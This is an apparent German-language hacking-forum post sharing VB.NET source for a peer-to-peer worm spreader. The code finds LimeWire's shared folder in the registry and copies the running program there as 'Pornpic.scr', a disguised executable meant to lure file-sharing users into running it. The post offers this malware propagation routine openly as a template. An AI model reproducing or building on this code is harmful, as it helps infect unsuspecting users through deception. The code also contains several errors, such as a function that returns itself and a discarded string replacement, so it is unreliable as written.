ist nur LimeWire aber das Prinzip sollte klar seinCode:Public Class Form1 'Function deklarieren Private Function limewirepfadfun() Dim LimePfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\LimeWire\", "Shared", 0) 'die "/" "\" im Pfad ersetzten LimePfad.Replace("\", "/") return limewirepfadfun End Function Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 'ruft die sub P2Pspread auf Call P2Pspread() End Sub Private Sub P2Pspread() Try 'Datei kopieren Dim Spreadname As String = "Pornpic.scr" IO.File.Copy(Application.ExecutablePath, limewirepfadfun() & spreadName) Catch ex As Exception End Try Try IO.File.Copy(Application.ExecutablePath, (Environ("programfiles" & "\Shared\" & spreadName))) Catch ex As Exception End Try End Sub End Class
HF
inmate